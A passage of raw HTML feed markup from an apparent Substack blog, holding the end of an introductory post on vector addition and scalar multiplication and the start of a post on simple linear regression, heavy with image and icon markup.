srcset="https://substackcdn.com/image/fetch/$s_!OpHo!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5291069-7fe3-4f9b-b0a4-bf5d6dca2468_913x843.png 424w, https://substackcdn.com/image/fetch/$s_!OpHo!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5291069-7fe3-4f9b-b0a4-bf5d6dca2468_913x843.png 848w, https://substackcdn.com/image/fetch/$s_!OpHo!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5291069-7fe3-4f9b-b0a4-bf5d6dca2468_913x843.png 1272w, https://substackcdn.com/image/fetch/$s_!OpHo!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5291069-7fe3-4f9b-b0a4-bf5d6dca2468_913x843.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!OpHo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5291069-7fe3-4f9b-b0a4-bf5d6dca2468_913x843.png" width="913" height="843" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e5291069-7fe3-4f9b-b0a4-bf5d6dca2468_913x843.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:843,&quot;width&quot;:913,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:39583,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!OpHo!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5291069-7fe3-4f9b-b0a4-bf5d6dca2468_913x843.png 424w, https://substackcdn.com/image/fetch/$s_!OpHo!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5291069-7fe3-4f9b-b0a4-bf5d6dca2468_913x843.png 848w, https://substackcdn.com/image/fetch/$s_!OpHo!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5291069-7fe3-4f9b-b0a4-bf5d6dca2468_913x843.png 1272w, https://substackcdn.com/image/fetch/$s_!OpHo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5291069-7fe3-4f9b-b0a4-bf5d6dca2468_913x843.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!2OnJ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F15966b92-4528-41d8-a28e-93e939fbf20b_843x843.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!2OnJ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F15966b92-4528-41d8-a28e-93e939fbf20b_843x843.png 424w, https://substackcdn.com/image/fetch/$s_!2OnJ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F15966b92-4528-41d8-a28e-93e939fbf20b_843x843.png 848w, https://substackcdn.com/image/fetch/$s_!2OnJ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F15966b92-4528-41d8-a28e-93e939fbf20b_843x843.png 1272w, https://substackcdn.com/image/fetch/$s_!2OnJ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F15966b92-4528-41d8-a28e-93e939fbf20b_843x843.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!2OnJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F15966b92-4528-41d8-a28e-93e939fbf20b_843x843.png" width="843" height="843" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/15966b92-4528-41d8-a28e-93e939fbf20b_843x843.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:843,&quot;width&quot;:843,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:39157,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!2OnJ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F15966b92-4528-41d8-a28e-93e939fbf20b_843x843.png 424w, https://substackcdn.com/image/fetch/$s_!2OnJ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F15966b92-4528-41d8-a28e-93e939fbf20b_843x843.png 848w, https://substackcdn.com/image/fetch/$s_!2OnJ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F15966b92-4528-41d8-a28e-93e939fbf20b_843x843.png 1272w, https://substackcdn.com/image/fetch/$s_!2OnJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F15966b92-4528-41d8-a28e-93e939fbf20b_843x843.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Then drawing a new vector from the origin of the first vector to the tip of the second vector.</p><p>The resulting <em>third vector</em> is said to be the sum of the original two.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!GpYn!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f5420ef-38ab-4de5-a652-a4333ec37509_845x841.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!GpYn!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f5420ef-38ab-4de5-a652-a4333ec37509_845x841.png 424w, https://substackcdn.com/image/fetch/$s_!GpYn!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f5420ef-38ab-4de5-a652-a4333ec37509_845x841.png 848w, https://substackcdn.com/image/fetch/$s_!GpYn!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f5420ef-38ab-4de5-a652-a4333ec37509_845x841.png 1272w, https://substackcdn.com/image/fetch/$s_!GpYn!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f5420ef-38ab-4de5-a652-a4333ec37509_845x841.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!GpYn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f5420ef-38ab-4de5-a652-a4333ec37509_845x841.png" width="845" height="841" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1f5420ef-38ab-4de5-a652-a4333ec37509_845x841.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:841,&quot;width&quot;:845,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:40316,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!GpYn!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f5420ef-38ab-4de5-a652-a4333ec37509_845x841.png 424w, https://substackcdn.com/image/fetch/$s_!GpYn!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f5420ef-38ab-4de5-a652-a4333ec37509_845x841.png 848w, https://substackcdn.com/image/fetch/$s_!GpYn!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f5420ef-38ab-4de5-a652-a4333ec37509_845x841.png 1272w, https://substackcdn.com/image/fetch/$s_!GpYn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f5420ef-38ab-4de5-a652-a4333ec37509_845x841.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="pullquote"><p>Vector addition is the only time a vector will stray from the origin (<em>x = </em>0, <em>y = </em>0).</p></div><h3>How does this look numerically?</h3><p>In the example above, it is the same as:</p><ul><li><p>Five steps to the right (5)</p></li><li><p>Two steps up (2)</p></li><li><p>Four steps to the left (-4)</p></li><li><p>One step down (-1)</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Ln8x!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c64af48-d887-4481-acd6-c6c134e0557a_936x936.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Ln8x!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c64af48-d887-4481-acd6-c6c134e0557a_936x936.png 424w, https://substackcdn.com/image/fetch/$s_!Ln8x!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c64af48-d887-4481-acd6-c6c134e0557a_936x936.png 848w, https://substackcdn.com/image/fetch/$s_!Ln8x!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c64af48-d887-4481-acd6-c6c134e0557a_936x936.png 1272w, https://substackcdn.com/image/fetch/$s_!Ln8x!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c64af48-d887-4481-acd6-c6c134e0557a_936x936.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Ln8x!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c64af48-d887-4481-acd6-c6c134e0557a_936x936.png" width="936" height="936" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0c64af48-d887-4481-acd6-c6c134e0557a_936x936.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:936,&quot;width&quot;:936,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:45813,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Ln8x!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c64af48-d887-4481-acd6-c6c134e0557a_936x936.png 424w, https://substackcdn.com/image/fetch/$s_!Ln8x!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c64af48-d887-4481-acd6-c6c134e0557a_936x936.png 848w, https://substackcdn.com/image/fetch/$s_!Ln8x!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c64af48-d887-4481-acd6-c6c134e0557a_936x936.png 1272w, https://substackcdn.com/image/fetch/$s_!Ln8x!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c64af48-d887-4481-acd6-c6c134e0557a_936x936.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Or :</p><ul><li><p>5 + (-4) = 1</p></li><li><p>2 + (-1) = 1</p></li></ul><h3><em><strong>Why is this a good definition of addition?</strong></em></h3><p>Think of each vector as a movement in space; a step with a distance and direction from some point of origin. Taking a step along the first vector and then a step along the second, the overall movement would be the same as the sum of the vectors, as described above.</p><p>It is the same as visualising movement on a one-dimensional number line. Taking two steps to the right and six further steps reaches position 8, just as if you were taking all eight steps simultaneously.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!mrO5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc54e9550-0ece-420c-b003-cc5fff76d4c7_1081x349.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!mrO5!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc54e9550-0ece-420c-b003-cc5fff76d4c7_1081x349.png 424w, https://substackcdn.com/image/fetch/$s_!mrO5!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc54e9550-0ece-420c-b003-cc5fff76d4c7_1081x349.png 848w, https://substackcdn.com/image/fetch/$s_!mrO5!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc54e9550-0ece-420c-b003-cc5fff76d4c7_1081x349.png 1272w, https://substackcdn.com/image/fetch/$s_!mrO5!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc54e9550-0ece-420c-b003-cc5fff76d4c7_1081x349.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!mrO5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc54e9550-0ece-420c-b003-cc5fff76d4c7_1081x349.png" width="1081" height="349" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c54e9550-0ece-420c-b003-cc5fff76d4c7_1081x349.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:349,&quot;width&quot;:1081,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!mrO5!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc54e9550-0ece-420c-b003-cc5fff76d4c7_1081x349.png 424w, https://substackcdn.com/image/fetch/$s_!mrO5!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc54e9550-0ece-420c-b003-cc5fff76d4c7_1081x349.png 848w, https://substackcdn.com/image/fetch/$s_!mrO5!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc54e9550-0ece-420c-b003-cc5fff76d4c7_1081x349.png 1272w, https://substackcdn.com/image/fetch/$s_!mrO5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc54e9550-0ece-420c-b003-cc5fff76d4c7_1081x349.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>Scalar by vector multiplication</h2><p>A scalar by vector multiplication is also defined by multiplying the vector elements entry by entry</p><p>If <em>&#945;</em>&#8712;R (that is, <em>&#945;</em> is a number in the field of Real Numbers), and the vector is: </p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\vec{x} = \\begin{pmatrix} a_1 \\\\ a_2 \\\\ a_3 \\\\ \\vdots \\\\ a_n \\end{pmatrix}  \\in \\mathbb{R}^n&quot;,&quot;id&quot;:&quot;TTIEXYYPNT&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>Then, each vector element is multiplied by the scalar (<em>&#945;</em>).</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\vec{y} = \\alpha\\vec{x} = \\begin{pmatrix} \\alpha a_1 \\\\ \\alpha a_2 \\\\ \\alpha a_3 \\\\ \\vdots \\\\ \\alpha a_n \\end{pmatrix}  \\in \\mathbb{R}^n&quot;,&quot;id&quot;:&quot;MAYDVVDLSW&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>Visually, scalar by vector multiplication extends the vector&#8217;s direction and increases or decreases the magnitude. Therefore, if the scalar is a fraction, the vector is reduced proportionally to that fraction.</p><p>Using a scalar of a negative number would flip the vector around to its opposite direction and then stretch it in that new direction.</p><p>Hence, the name &#8220;scalar&#8221; is used for scaling.</p><div class="footnote" data-component-name="FootnoteToDOM"><a id="footnote-1" href="#footnote-anchor-1" class="footnote-number" contenteditable="false" target="_self">1</a><div class="footnote-content"><p>In mathematics, a <strong>field</strong> is a set equipped with two operations (typically called addition and multiplication) that satisfy certain properties, such as associativity, commutativity, distributivity, the existence of additive and multiplicative identities, and the existence of additive and multiplicative inverses for every element except the additive identity.</p><p>The field of Real Numbers, denoted by the &#8220;R,&#8221; represents the set of all real numbers. It is most commonly encountered in calculus, real analysis, and many applied fields.</p><p></p></div></div>]]></content:encoded></item><item><title><![CDATA[Regression Models and Evaluation Metrics in Machine Learning]]></title><description><![CDATA[A high-level overview of Linear Regression and common evaluation metrics.]]></description><link>https://www.emdeh.com/p/understanding-regression-models-and</link><guid isPermaLink="false">https://www.emdeh.com/p/understanding-regression-models-and</guid><dc:creator><![CDATA[emdeh]]></dc:creator><pubDate>Tue, 11 Jun 2024 09:10:01 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/712fa5e6-0aad-4927-95c4-27a79b4c9cae_1024x1024.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>What is Regression?</h1><p>Regression is a statistical method used in machine learning to predict a continuous numeric label (output) based on one or more input features. Regression analysis aims to establish a mathematical relationship between the dependent variable (label) and the independent variables (features). This relationship helps in predicting the label for new, unseen data.</p><p>In simple linear regression, the relationship between the dependent variable <em><strong>Y</strong></em> and the independent variable <em><strong>X</strong></em> is modelled as a linear function. The formula is:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;Y = \\beta_0 + \\beta_1X&quot;,&quot;id&quot;:&quot;TXORGCHYUQ&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>Where:</p><ul><li><p><strong>Y</strong>: The dependent variable (the output we are trying to predict).</p></li><li><p><strong>&#946;0</strong>: The intercept (the value of <strong>Y</strong> when <strong>X</strong> is 0).</p></li><li><p><strong>&#946;1</strong>: The slope (the change in <strong>Y</strong> for a one-unit change in <strong>X</strong>).</p></li><li><p><strong>X</strong>: The independent variable (the input feature used for prediction).</p></li></ul><p>Let's consider a very simple example: We use shoe size (<em><strong>x</strong></em>) to predict height (<em><strong>y</strong></em>).</p><div id="datawrapper-iframe" class="datawrapper-wrap outer" 